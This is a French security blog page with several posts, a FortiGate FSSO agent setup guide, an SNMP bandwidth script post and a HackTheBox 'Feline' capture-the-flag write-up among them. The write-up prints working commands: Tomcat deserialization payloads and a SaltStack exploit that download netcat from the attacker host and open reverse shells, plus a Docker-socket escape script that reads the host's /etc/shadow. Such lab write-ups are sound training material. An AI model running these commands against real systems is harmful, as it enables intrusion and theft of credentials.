  8. Lancement du scan MassVulScan : Masscan puis Nmap + vulners.nse
  9. Récupération des rapports en local via SCP (si il y a lieu)
  10. Suppression des sessions screen et OpenStack

Screen

Il vous sera possible de suivre l’installation et le scan en live si vous le souhaitez à travers une session screen. Comme ici avec le précédent scan de démonstration :

Session screen pour le suivi ou surveillance

En l’occurrence, vous aurez juste à taper dans un second terminal (droits « root ») :

screen -r scan_2021-07-30_121820

Et pour sortir sans fermer la session, faites au clavier :

CTRL + A et D

Courriels

Pour s’assurer du bon fonctionnement du script et/ou si vous prévoyez de lancer un gros scan de plusieurs heures, vous avez la possibilité de renseigner une ou plusieurs adresses courriels et un serveur SMTP(S).

Vous serez avertis à trois moments différents :

  1. Au démarrage effectif du scan
  2. A la fin du scan vous recevrez les rapports (si il y a lieu)
  3. Une fois la session screen et instance OpenStack supprimées

Il vous suffit pour cela de modifier les variables suivantes dans le script :

  • smtp_server = serveur SMTP(S) à utiliser
  • from_address = adresse email d’émission/retour
  • recipient = liste des destinataires (séparer par une virgule », »)
  • auth_user_pass = utilisateur et mot de passe encodés dans un URI (si besoin)

Un exemple ci-dessous pour l’encodage dans un URI :

root@HTB:~/osic4MVS# printf 'urlcodec encode demo@ovh.com' | s-nail -#
demo%40ovh.com
root@HTB:~/osic4MVS# printf 'urlcodec encode *ThisIsMyGreatPassW0rd!' | s-nail -#
%2AThisIsMyGreatPassW0rd%21

Il suffit d’assembler les deux informations en ajoutant deux point « : » entre les deux, comme ici :

auth_user_pass="demo%40ovh.com:%2AThisIsMyGreatPassW0rd%21"

Des exemples ci-dessous de courriels envoyés depuis les serveurs d’OVH :

Exemples de courriels envoyés durant la vie du script

Conclusion

J’utilise régulièrement cet outil (professionnellement) pour m’assurer de ne pas laisser de ports ouverts par inadvertance, surtout lorsque l’on travaille à plusieurs. Il suffit d’une erreur humaine ou d’appliquer une mise à jour pour se retrouver exposer sans le vouloir.

Vous pouvez programmer un lancement hebdomadaire via une tache cron, comme ici toutes les fins de semaine :

0 0 * * 0 bash /home/superuser/audit/ovh/osic4MVS.sh

Et avec les courriels on peut s’assurer du bon fonctionnement et on récupère les rapports facilement.

N’hésitez pas à laisser vos commentaires ! Merci d’avoir lu jusqu’au bout 😉

27 Mai

Fortigate, utiliser FSSO en mode Polling via WMI (1/2)

Introduction

FSSO ?

Fortinet Single Sign-On (FSSO), anciennement connu sous le nom de FortiGate Server Authentication Extension (FSAE), est le protocole d’authentification par lequel les utilisateurs peuvent s’authentifier de manière transparente auprès des appareils FortiGate (notamment).

Pourquoi utiliser ce mode et cette méthode ?

Après, contrairement au mode FSSO « DC Agent mode », le mode FSSO « Polling » évite l’installation d’un agent sur chacun des contrôleurs de domaine. Cela peut être problématique dans certaines organisations.

Ensuite, la récupération des événements de connexion des utilisateurs via WMI apporte d’autres avantages : plus de fiabilité dans la récupération des événements, une charge réseau réduite entre l’agent collecteur et les contrôleurs de domaine et enfin la possibilité d’utiliser un compte de service avec des droits restreints.

Comme on peut le voir sur le schéma ci-dessous, l’agent collecteur interroge directement les contrôleurs de domaine et le Fortigate récupère régulièrement les mises à jour :

Ce premier article sera consacré à l’installation et la configuration de l’agent FSSO sur un serveur Windows. Un second article permettra de voir son utilisation sur un Fortigate.

Permissions WMI sur les DC

Un des pré-requis pour pouvoir utiliser ce mode est d’appliquer certains droits au compte de service ou utilisateur qui sera utilisé par le service « Fortinet Single Sign On Agent Service ».

Pour cela, lancez la console « Windows Management Instrumentation » (WMI) sur chacun de vos contrôleurs de domaine concerné (wmimgmt.msc) :

  • Clic-droit sur « Contrôle WMI » puis « Propriétés »
  • Sélectionnez l’onglet « Sécurité » et étendre « Root »
  • Sélectionnez « CIMV2 » puis cliquez sur le bouton « Sécurité »
  • Ajoutez ensuite l’utilisateur / compte de service qui sera utilisé, ici « fsso_agent »
  • Puis donnez-lui les droits : « Appel à distance autorisé » et « Activer le compte »
  • Dans la même fenêtre, cliquez-sur « Avancé »
  • Sélectionnez l’utilisateur / compte de service dans l’onglet « Autorisations »
  • Cliquez sur « Editer » et appliquez les droits « Cet espace de noms et les sous-espaces de noms »
  • Enregistrez les changements en cliquant sur « OK »

Redémarrez ensuite le service WMI (services.msc) qui porte le nom « Windows Management Instrumentation », clic-droit puis « Redémarrer » :

Ouverture de flux réseaux à prévoir

Une matrice des flux sera faite plus tard, en attendant vous pouvez voir cet article de chez Fortinet :

https://docs.fortinet.com/document/fortigate/6.4.0/ports-and-protocols/879117/fsso-fortinet-single-sign-on

Installation et configuration de l’agent collecteur

Pré-requis pour l’installation et fonctionnement

Rendez-vous sur le site de Fortinet pour télécharger la version la plus récente de l’agent collecteur en fonction de votre version la plus récente du FortiOS installé (OS Fortigate). Par Ex. ici la version correspondante, ici 5.0.0276 (version 64 bits) compatible avec les Fortigate FortiOS 6.0.5 (même démarche pour les versions 6.2.x ou 6.4.x) :

A noter que la version de l’agent collecteur reste (rétro) compatible avec les anciennes versions de FortiOS (5.6, 5.4 etc…). Pensez à vérifier que le fichier téléchargé n’est pas corrompu en comparant les checksum :

Astuce : J’utilise l’extension http://code.kliu.org/hashcheck/ qui est bien pratique au quotidien pour cela. Sinon en PowerShell :

PS C:\Users\username\Downloads> Get-FileHash -Algorithm MD5 .\[filename]

Assurez-vous ensuite que votre serveur collecteur accepte les connexions entrantes sur le port TCP 8000, dans le cas contraire, ajoutez une règle de filtrage sur le firewall local et/ou sur tout autre firewall qui serait entre le Fortigate (source) et l’agent collecteur (destination).

Il vous faudra bien-sûr un serveur Windows, j’ai choisi la version 2016 dans ce cas-ci (ne faites pas attention aux captures d’écran + haut prises sur 2008/2012, c’est le même principe quelle que soit la version de l’OS).

Dernier point, vous devez bien-sûr disposer des droits d’administrateur pour l’installation de l’agent collecteur.

Installation

  • Lancez l’exécutable et cliquez sur « Next »
  • Acceptez les conditions d’utilisation puis cliquez sur « Next » deux fois (on garde le répertoire par défaut « C:\Program Files (x86)\Fortinet\FSAE\ »
  • Saisissez ensuite correctement l’utilisateur / compte de service qui lancera le service, ici « fsso_agent » :
  • Cliquez sur « Next »
  • Cochez les deux options et sélectionnez la méthode « Advanced » :

Contrairement au mode « Standard », ce mode permet d’utiliser directement les comptes utilisateurs AD au niveau des règles de filtrage du Fortigate, pas seulement les groupes donc. Cela apporte plus de souplesse et de finesse.

Il permet en outre d’appliquer une règle de filtrage sur une OU ou un groupe AD contenant des groupes imbriqués, cela ne se limite plus au groupe. Ce qui est impossible dans le mode « Standard ».

Enfin, on aura la possibilité de « pousser » les groupes que l’on souhaite filtrer/utiliser depuis le Fortigate vers l’agent collecteur.

  • Procédez à l’installation en cliquant sur « Install » et patientez
  • Enfin, décochez la case « Launch DC Agent Install Wizard » et cliquez sur « Finish » :

Nous voyons qu’un nouveau service a été créé :

Droits sur le répertoire d’installation

Nous devons maintenant attribuer les droits en lecture / écriture à notre utilisateur / compte de service afin, notamment, qu’il puisse écrire ses fichiers de logs.

  • Ouvrez l’explorateur de fichiers et faites un clic-droit sur le répertoire « C:\Program Files (x86)\Fortinet\FSAE », choisir « Propriétés »
  • Dans l’onglet « Sécurité », cliquez sur « Modifier » puis « Ajouter » afin d’ajouter l’utilisateur / compte de service
  • Attribuez-lui les droits « Contrôle total » en cliquant sur « Autoriser »
  • Puis « Appliquer » et « OK » deux fois :

Redémarrez ensuite le service « Fortinet Single Sign On Agent Service » pour que les changements soient pris en compte :

Une nouveau fichier de log fera son apparition :

Groupes AD et droits dans la base de registre

L’utilisateur / compte de service doit faire partie du groupe AD « Event Log Readers » :

Ensuite, ce dernier doit avoir les pleins droits sur les clés et sous-clés de registre de l’agent collecteur. Pour cela, lancer l’utilitaire « regedit.exe » et modifier celles-ci, choisir le chemin correspondant à votre système :

  • 32bit :[HKEY_LOCAL_MACHINE\SOFTWARE\Fortinet\FSAE\collectoragent]
  • 64bit :[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Fortinet\FSAE\collectoragent]

Vous devez ensuite donnez le contrôle d’accès total à l’utilisateur / compte de service via :

  • Clic-droit sur le répertoire « collectoragent » puis choisir « Autorisations »
  • Ajouter le utilisateur / compte de service via le bouton « Ajouter »
  • Le sélectionner et cocher « Autoriser » devant « Contrôle total »
  • Enregistrez les changements en cliquant sur « OK »
  • Redémarrer le serveur collecteur pour prendre en compte les changements

Configurer l’agent collecteur

Lancez l’agent collecteur « FSAEConfig.exe » et cliquez sur « Run as administrator » pour accéder à toutes les fonctions :

En premier lieu, définissez un nouveau mot de passe qui sera utilisé par le ou les Fortigate. Pour cela, supprimez le contenu du champ « Password », insérer votre mot de passe et cliquez sur « Apply ». Pour chaque changement enregistré, une petite fenêtre s’ouvrira :

Note : en cas de problème lors de vos premiers tests, sachez que le mot de passe par défaut est « fortinetcanada ».

Ensuite, il est préférable d’avoir un fichier log pour les événements (connexions/déconnexions/mises à jours) utilisateurs, c’est plus facile pour le débogage. Pour cela, cliquez sur « Log logon events in separate logs » et cliquez sur « Apply » :

Aussitôt, un nouveau fichier de log sera créé dans le répertoire FSAE contenant toutes les logs :

Il vous suffira ensuite de cliquer sur « View Logon Events » pour ouvrir ce fichier et le visualiser.

Configurer les Event ID à récupérer

Nous devons indiquer à l’agent collecteur tous les Event ID que nous voulons « sonder » car par défaut, il ne prend pas en charge toutes les versions d’OS Windows, il en filtre pas mal.

  • Cliquez sur « Advanced Settings et dans le champ « Event IDs to poll » (section « Windows Security Event Logs ») indiquez cette liste :

672;673;680;528;540;4768;4769;4776;4624;4770

Ainsi, toutes les versions de Windows depuis 2003 jusqu’à 2016 fonctionneront (je n’ai pas testé avec 2019) :

Assurez d’avoir également la case « Use WMI to check user logoff » de cochée dans la section « Workstation Check ». L’agent collecteur interrogera régulièrement les PC afin de vérifier si l’utilisateur est toujours connecté ou non (un batch sera lancé toutes les 5 minutes, comme indiqué sur l’écran principal).

Sélectionner les DC à « monitorer »

  • Cliquez sur « Show Monitored DCs »
  • Puis sur « Select DC to Monitor »
  • Cochez la case « Polling Mode »
  • Puis la case « Check Windows Security Event Logs using WMI » (c’est là que l’on active concrètement le mode WMI)
  • Enfin, sélectionnez les DC que vous souhaitez interroger puis « OK »

Si tout fonctionne correctement, vous devriez de suite pouvoir visualiser et récupérer les premières connexions utilisateurs en cliquant sur « Show Logon Users » :

Dans le cas contraire, vérifiez à nouveau les permissions WMI sur les DC, les droits de l’utilisateur / compte de service et groupe AD.

Configurer les informations d’accès au répertoire

Nous allons configurer le mode « Advanced » pour l’accès au données qui permet plus de choses comme indiqué un peu plus haut lors de la phase d’installation.

A noter que dans ce mode, le nom des groupes sera au format LDAP (cn=group,ou=name,dc=domaine) et non Microsoft (domaine/groupe).

  • Cliquez sur « Set Directory Access Information »
  • Sélectionnez « Advanced » (doit l’être par défaut)
  • Puis cliquez sur « Advanced Setting… »
  • Cochez « Use secure connection (TLS) »
  • Puis renseignez l’un de vos DC en laissant les champs « User name » et « Password » vident puis « OK »

Assurez que les flux sont bien ouverts au passage entre l’agent collecteur et vos contrôleurs de domaine sur le port TCP 3269.

Configurer le(s) domaine(s) à sonder

Sélectionner maintenant le ou les domaines que vous voulez « monitorer ».

  • Cliquez sur « Select Domains To Monitor »
  • Puis cochez les domaines à sonder
  • Pour chacun des domaines, cliquez sur « Setting… »
  • Cochez « Use secure connection (TLS) »
  • Là renseignez à nouveau l’un de vos DC en laissant les champs « User name » et « Password » vident puis « OK » et « OK »

Là aussi, assurez que les flux sont bien ouverts au passage entre l’agent collecteur et vos contrôleurs de domaine sur le port TCP 636

Filtrage des groupes

Nous avons deux possibilités pour la configuration des groupes FSSO (basés sur ceux de l’AD) :

  • Soit depuis ce serveur directement pour les pousser ensuite vers le Fortigate
  • Soit les créer directement sur le Fortigate pour qu’ils soient visibles sur le serveur

J’utilise la seconde méthode, que nous verrons dans le prochain article.

Une fois les groupes configurés vous verrez ce message sur le serveur dans « Set Group Filters » :

Compte(s) utilisateur/de service à ignorer

Une dernière option permet d’exclure une liste de comptes à ne pas surveiller, comme par exemple notre compte de service « fsso_agent ».

Il suffit de cliquer sur « Set Ignore User List » puis d’ajouter les comptes, comme ici avec notre compte de service :

Une fois terminé, ne pas oublier d’appliquer les changements (Apply) et/ou de sauvegarder (Save&close).

Conclusion

Nous avons vu dans cette première partie comment configurer notre serveur avec notre agent FSSO afin de récupérer les activités des utilisateurs (logon/logoff) sur notre DC de manière fiable.

Dans un prochain article nous verrons comment configurer notre Fortigate :

  • Pour se connecter à ce serveur afin de récupérer ses données
  • La création des groupes FSSO (et/ou utilisateurs)
  • L’utilisation de ces groupes dans nos règles de filtrage
  • Et quelques commandes et astuces pour le débogage
07 Jan

Calculer la bande passante consommée des interfaces réseaux d’un Fortigate

Introduction

Je cherchais le moyen d’obtenir à intervalles réguliers la bande passante consommée (en entrée et sortie) de chacune de mes interfaces réseaux, notamment celles « virtuelles », à savoir des VPN (IPSec), sur mes firewalls.

Pour une architecture réseau en étoile (Hub and spoke en anglais) le plus simple est bien-sûr d’interroger l’équipement central qui s’interconnecte avec chacun des sites distants. Ce qui était mon cas.

L’objectif étant au final d’obtenir un fichier source avec toutes les valeurs me permettant ainsi d’alimenter un script pour ensuite générer une carte d’utilisation de bande passante (network weathermap en anglais) rafraîchie toutes les 5 secondes. Comme ci-dessous :

Script Bash

Explications

Vous trouverez plus bas le script Bash que j’ai utilisé pour récupérer les données via SNMP et les traiter. Comme les compteurs des interfaces réseaux s’incrémentent sans cesse, l’idée est de prendre les valeurs à l’instant T puis de les reprendre à l’instant T + 5 secondes.

Puis par un simple calcul on obtient la bande passante consommée en entrée et sortie. Enfin, en appelant régulièrement le script (crontab ou boucle), vous obtiendrez différentes valeurs qui pourraient alimenter d’autres scripts comme PHP Weathermap par exemple, que j’utilise.

Pensez à mettre les bons paramètres (variables) avant de lancer le script :

  • host = hostname/IPv4 de votre firewall
  • community = nom de la communauté SNMPv2

Bien-sûr, au préalable vous devez configurer SNMPv2 sur votre firewall (https://kb.fortinet.com/kb/documentLink.do?externalID=FD45755) et donner les droits en lecture (uniquement) au serveur qui l’interrogera.

J’utilise SNMPv2 dans mon cas car les données récupérées ne sont pas sensibles et il suffit de bien configurer les droits.

J’utilise la MIB standard (ISO/CCITT) pour interroger le firewall, ce qui est le cas avec beaucoup de fournisseurs/marques avec laquelle ils sont compatibles.

Par contre, il était important de prendre les compteurs 64 bits (ifHCInOctets/ifHCOutOctets) et non 32 bits (ifInOctets/ifOutOctets), au risque de voir le compteur repartir à zéro rapidement, surtout si vous avez de gros liens/débits.

En sortie vous aurez ce type d’affichage :

VPN-XXX-C-WS-3G 0 2
VPN-XXX-E-WS-3G 0 2
VPN-XXX-C-ES-OR 1637 1360
VPN-XXX-E-ES-OR 1391 370
VPN-XXX-C-ES-O3 0 6
VPN-XXX-E-ES-O3 0 2
VPN-XXX-C-OU-OR 2047 480
VPN-XXX-E-OU-OR 408 3164
VPN-XXX-C-OU-O3 14 434

Pour finir, vous aurez juste à retirer le nom de fichier « bandwidth.txt » de la ligne 62 pour le générer et le conserver sur disque pour l’intégrer avec un autre script si besoin.

Code source

Voici le script en question, suffisamment commenté je pense :

Sinon, vous pouvez le télécharger ci-dessous :

Conclusion

Voilà, j’espère que ce sera utile à certains d’entre vous. A noter que ce script Bash devrait pouvoir fonctionner tel quel avec d’autres équipements que les Fortigate.

Pour d’autres types de réseaux ou besoins, on pourrait très bien imaginer avoir une liste de firewall en entrée qui serait parcouru et ainsi chacun serait interrogé avec ce script en parallèle pour gagner du temps. Je ferai un article là dessus aussi je pense.

Dernière chose, pour ceux qui s’interrogent sur la mise en forme du code dans l’article, j’ai utilisé l’excellent site : https://carbon.now.sh/

03 Sep

HTB – Feline- Write-up

Préambule

Pour cette nouvelle machine virtuelle j’ai utilisé l’interface web Pwnbox du site HackTheBox qui est basée sur la distribution Parrot Security, elle-même basée sur Debian :

Cette fonctionnalité est uniquement accessible aux utilisateurs du plan « VIP ». Elle est très pratique et bien pensée : choix de la localisation du serveur, fonctionne avec un simple navigateur et/ou accès SSH, accès spectateur…etc

Seul hic : on à le droit à seulement 24H par mois… et cela file vite !!

Mais avec le nouveau plan VIP+, plus de limite !

J’ai également utilisé pour l’occasion l’un de mes scripts spécifiquement adapté pour celle-ci afin d’améliorer le temps de reconnaissance initiale :

https://github.com/choupit0/MassVulScan4HTB

Moins de 5 minutes pour installer le script et scanner les 131070 ports TCP+UDP et identifier les éventuelles vulnérabilités associées, auto-promotion 😉

Ce pas à pas sera « un peu » plus long et détaillé que les derniers.

Introduction

Cette fois on s’attaque à une machine virtuelle de niveau « Hard » mais qui n’est pas insurmontable. Elle permet, là encore, de s’attaquer à de récentes vulnérabilités découvertes, et permet d’aborder différents aspects côté réseau, système et applicatif. Très complète et intéressante dans le cheminement.

Voici les grandes phases et technologies abordées :

  1. Identification du CVE concernant Apache Tomcat
  2. Exploitation par désérialisation d’objets
  3. Identification d’un second CVE pour SaltStack (gestion de configuration)
  4. Exploitation par « authentication bypass » via redirection de port SSH
  5. Elévation des privilèges via un container Docker

Les informations que nous avons à notre disposition sont :

  • IPv4 = 10.10.10.205
  • Nom de la VM = feline.htb

On met à jour notre fichier /etc/hosts avec ces informations :

sudo vi /etc/hosts
127.0.1.1 htb-qdiohu4t2o.htb-cloud.com htb-qdiohu4t2o
127.0.0.1 localhost
10.10.10.205 feline.htb

Phase de reconnaissance

J’installe et je lance mon script MassVulScan4HTB.sh :

Seulement deux services ouverts : SSH et HTTP avec 9 potentielles failles identifiées pour le dernier :

Avant d’explorer les différentes failles à la recherche d’un RCE, voyons à quoi ressemble la page web. Nous avons deux sites dédiés à l’analyse de virus :

http://feline.htb:8080/
http://feline.htb:8080/service/

Phase d’énumération 1/3

Le champ email semble accepter n’importe quoi (email ou pas), par contre tous les formats de fichiers ne semblent pas supportés. Ici à gauche une image PNG bloquée et à droite un script Perl qui passe :

Nous allons regarder un peu plus en détails les requêtes avec Burp Suite. Il suffit de lancer l’application et de paramétrer Firefox pour pointer dessus.

Nous allons intercepter une requête qui fonctionne (fichier autorisé) et l’analyser (« Intercept On » puis « Action » -> « Send to Repeater ») :

Maintenant, que se passe-t-il si on supprime le nom du fichier par exemple (filename= » » puis « Send ») ? Réponse :

On récupère une erreur Java intéressante. En effet, on a le chemin complet où les fichiers sont téléversés : /opt/samples/uploads

Avec un fichier interdit (PNG), on obtient autre erreur Java et un autre chemin :

Chemin récupéré mais avec un « Permission denied », rien d’intéressant :

/opt/tomcat/temp/upload_2d083729_5e12_41c0_97d6_4753f5ec1b1a_00000066.tmp

Je note juste que si on essaye de renvoyer à nouveau le fichier on voit que le nom de fichier s’incrémente de 1 à chaque fois :

/opt/tomcat/temp/upload_2d083729_5e12_41c0_97d6_4753f5ec1b1a_00000067.tmp

Je ne trouve rien de probant à ce stade, et je ne trouve rien de plus avec wfuzz ou dirsearch au niveau des répertoires et fichiers. Pas d’injection type SQL non plus.

Je prends donc le temps de regarder les vulnérabilités identifiées plus tôt et l’une d’elle semble intéressante. Elle appropriée à la situation et à la version d’Apache Tomcat : https://vulners.com/cve/CVE-2020-9484

L’une des références citée concerne celle de l’auteur : http://packetstormsecurity.com/files/157924/Apache-Tomcat-CVE-2020-9484-Proof-Of-Concept.html

Nous avons plus de détails sur son site qui confirme la présence d’un RCE : https://www.redtimmy.com/java-hacking/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/

Globalement, si le serveur est configuré avec les modes « PersistentManager » et « FileStore« , les sessions permutées/inactives sont enregistrées sur disque. Dans ce cas, la faille est exploitable.

Pour vérifier si nous sommes concernés par cette vulnérabilité, nous avons besoin de 3 choses principales :

  1. Pouvoir générer un objet sérialisé :
  2. Pouvoir envoyer le fichier sur le serveur :
    • Nous l’avons avec le site /service
  3. Connaître l’emplacement des fichiers envoyés :
    • Nous le connaissons /opt/samples/uploads

C’est lors de la phase de désérialisation que le code malvaillant est executé même si nous obtenons une erreur HTTP 500 par la suite (pas de session correspondante).

Pour plus de détails sur la sérialisation/désérialisation d’objets et son exploitation, je vous conseille ce PDF (anglais) : https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf

Sinon, en gros, la sérialisation consiste à transformer des données informatiques en informations plus petites pour être transmises par le réseau. La désérialisation effectue la démarche inverse afin de retrouver les données initiales, à l’identique.

Phase d’exploitation 1/3 (Apache Tomcat)

Installer et utiliser ysoserial

Etapes à suivre pour l’installation de yoserial :

git clone https://github.com/frohoff/ysoserial
cd ysoserial/
wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

On génère ensuite notre payload (objet sérialisé) comme ceci avec le payload le plus « commun », le numéro 2 (le 1 n’a pas fonctionné) et avec l’extension « .session » :

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 "wget http://10.10.14.50:8888/fakefile" > rce.session

Dans un shell je lance un serveur HTTP en écoute sur port 8888 :

python -m SimpleHTTPServer 8888

Pour appeler notre code nous devrons utiliser http://feline.htb et modifier le cookie « JSESSIONID » comme suit (comme indiqué dans l’article) sans l’extension :

JSESSIONID=../../../../../opt/samples/uploads/rce

Le reste en vidéo de démonstration :

Ca fonctionne ! On a bien une connexion sur notre instance depuis le serveur :

Reverse shell via Apache Tomcat

Maintenant que nous avons un PoC fonctionnel, nous allons pouvoir obtenir un shell inversé. Nous procéderons en trois étapes :

  1. Téléverser l’outil netcat sur le serveur
  2. Le rendre executable
  3. Lancer un shell inversé

Je procède ainsi car je n’ai pas réussi à obtenir un shell directement avec les commandes traditionnelles (https://gtfobins.github.io/#+reverse%20shell).

Mes trois payloads générés :

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 "wget http://10.10.14.50:8888/netcat -O /tmp/netcat" > step1.session
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 "chmod +x /tmp/netcat" > step2.session
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 "/tmp/netcat -e /bin/sh 10.10.14.50 1337" > step3.session

Pour netcat, j’utilise la version présente sur l’OS et je lance mon serveur HTTP :

which netcat
/usr/bin/netcat
cp /usr/bin/netcat .
python -m SimpleHTTPServer 8888

Dans un autre Terminal je lance un listener :

nc -nlvp 1337

On transfère nos 3 fichiers de la même manière que pour PoC et on obtient enfin un (premier) shell inversé depuis le serveur :

On élève notre simple shell inversé vers un shell interactif complet :

python3 -c 'import pty; pty.spawn("/bin/bash")'

Et nous trouvons le flag utilisateur :

Phase d’énumération 2/3

Rapidement je regarde côté réseau ce que l’on a et je vois deux ports intéressants en écoute, TCP 4505 et 4506 :

netstat -laputen | grep -i listen

Une rapide recherche sur Internet nous indique qu’il s’agit d’un gestionnaire de configuration nommé SaltStack, comme Puppet.

On découvre également qu’il existe une faille de sécurité de type « authentication bypass », CVE-2020-11651 : https://www.immersivelabs.com/resources/blog/hackers-are-currently-attacking-vulnerable-saltstack-systems/

Ne sachant pas si cette version est vulnérable ou pas, je décide de tester le PoC indiqué dans l’article : https://github.com/kevthehermit/CVE-2020-11651

Phase d’exploitation 2/3 (SaltStack)

SSH reverse remote port forwarding

L’application n’est pas exposée sur tous ses interfaces réseaux, elle n’est accessible que localement, par la loopback.

Je décide de télécharger le PoC sur le serveur et de le tester… mais ce serait trop facile ! Python3.8 est bien présent mais il manque des packages… et bien-sûr aucun droit pour les installer.

Plutôt que de perdre mon temps à chercher un moyen d’installer ce qu’il manque, je prends le choix d’exposer ce port à travers une connexion SSH :

ssh htb-choupit0@10.10.14.50 -R 127.0.0.1:4506:127.0.0.1:4506 -N

Nous aurions pu également utiliser Metasploit pour cela mais c’était un peu plus contraigant à faire (mais plus securisé).

PoC pour CVE-2020-*****

Maintenant nous pouvons donc utiliser notre script Python ditectement depuis notre instance Pwnbox, on voit ici la connexion SSH établie et le nouveau port 4506 en écoute :

Malheureusement pour nous, cela ne fonctionne pas… erreur « UnboundLocalError: local variable ‘root_key’ referenced before assignment« .

git clone https://github.com/kevthehermit/CVE-2020-11651
cd CVE-2020-11651
python3 -m pip install pyzmq
python3.8 poc.py -k 127.0.0.1

Reverse shell via SaltStak

Je n’abandonne pas et après quelques recherches, je trouve un autre PoC qui lui fonctionne : https://github.com/jasperla/CVE-2020-11651-poc/

git clone https://github.com/jasperla/CVE-2020-11651-poc
cd CVE-2020-11651-poc
pip3 install salt
python3.8 exploit.py
[+] Checking if vulnerable to CVE-2020-11651YES

Cool ! Il ne reste plus qu’à lancer notre second Reverse Shell avec une seule ligne de commande + un listener dans un autre Terminal :

python3.8 exploit.py --master localhost --exec "wget http://10.10.14.50:8888/netcat -O /tmp/netcat; chmod +x /tmp/netcat; /tmp/netcat -e /bin/sh 10.10.14.50 1338"
nc -nlvp 1338

Phase d’énumération 3/3

Docker Inside

On découvre donc que nous sommes root… mais d’un container, c’est déjà ca ! En regardant les dernières commandes tapées dans le fichier « .bash_history« , on découvre cette ligne de commande :

curl -s --unix-socket /var/run/docker.sock http://localhost/images/json

Cela indique que la machine qui héberge ce container communique par le bias de ce socket avec ce dernier. On vérifie qu’il est bien actif, c’est bien le cas :

ls -l /var/run/docker.sock

C’est un vecteur d’attaque, car depuis notre container nous pouvons également accéder aux données de l’hôte…

Ces articles en parle bien :

https://blog.secureideas.com/2018/05/escaping-the-whale-things-you-probably-shouldnt-do-with-docker-part-1.html

http://carnal0wnage.attackresearch.com/2019/02/abusing-docker-api-socket.html

Nous pouvons déjà obtenir la liste des container présents sur le serveur, il semble y en avoir 2 :

curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json

Phase d’exploitation 3/3 (Docker)

Comme PoC nous allons donc tenter de créer un nouveau container afin d’accéder au fichier des mots de passe sur l’hôte en root. Voici les étapes nécessaires :

  1. Créer un fichier JSON pour le container
  2. Créer notre container avec ce fichier
  3. Démarrer notre container
  4. Créer un fichier JSON pour l’execution de lecture
  5. Lancer l’execution de la commande

Nous allons utiliser un script Bash (docker_exploit.sh) pour que cela soit plus simple, voici son contenu :

#!/bin/bash
#
# Nouveau container avec un montage du systeme de fichiers hote
#
echo -e '{"Image":"sandbox", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}' > container.json
# Creation du container
new_container=$(curl -s -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat container.json)" http://localhost/containers/create | cut -d'"' -f4)
# On demarre le container
curl -s -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock http://localhost/containers/${new_container}/start
sleep 2
#
# Lecture d'un fichier de l'hote
#
echo -e '{"AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}' > read.json
# Creation de l'exec
read_file=$(curl -s -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat read.json)" http://localhost/containers/${new_container}/exec | cut -d'"' -f4)
# Affichage du resultat
curl -s -o - -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{}' http://localhost/exec/${read_file}/start
rm -rf container.json read.json

Il suffit ensuite de l’envoyer sur le serveur et l’executer :

python -m SimpleHTTPServer 8888 (instance Pwnbox)
cd /tmp
wget http://10.10.14.50:8888/docker_exploit.sh
chmod +x docker_exploit.sh
./docker_exploit.sh

Ca fonctionne !!!

Il ne reste plus qu’à modifier notre script pour récupérer le flag root :

Conclusion

Jusqu’à présent c’est ma VM favorite sous Linux, on y apprend beaucoup de choses. Elle est très complète : technologies variées tout comme les failles exploitées, on touche au système, réseau et applicatif.

C’est pour ces raisons que j’ai pris du plaisir et du temps pour détailler ce write-up, j’espère que vous aussi !

01 Sep

HTB – Astuces

Quelques informations/astuces glanées sur hackthebox.eu et forum.hackthebox.eu.

Badge pour le forum

Voici l’astuce pour mettre son badge en signature lorsque l’on commente sur le forum et surtout avec un lien vers le profil associé.

Pour une équipe :

[![Fr0Ggi3sOnTour](https://www.hackthebox.eu/badge/team/image/2959)](https://www.hackthebox.eu/home/teams/profile/2959)
On recrute ! 👽 We are hiring!

Pour un utilisateur :

[![choupit0](http://www.hackthebox.eu/badge/image/144352)](https://www.hackthebox.eu/home/users/profile/144352)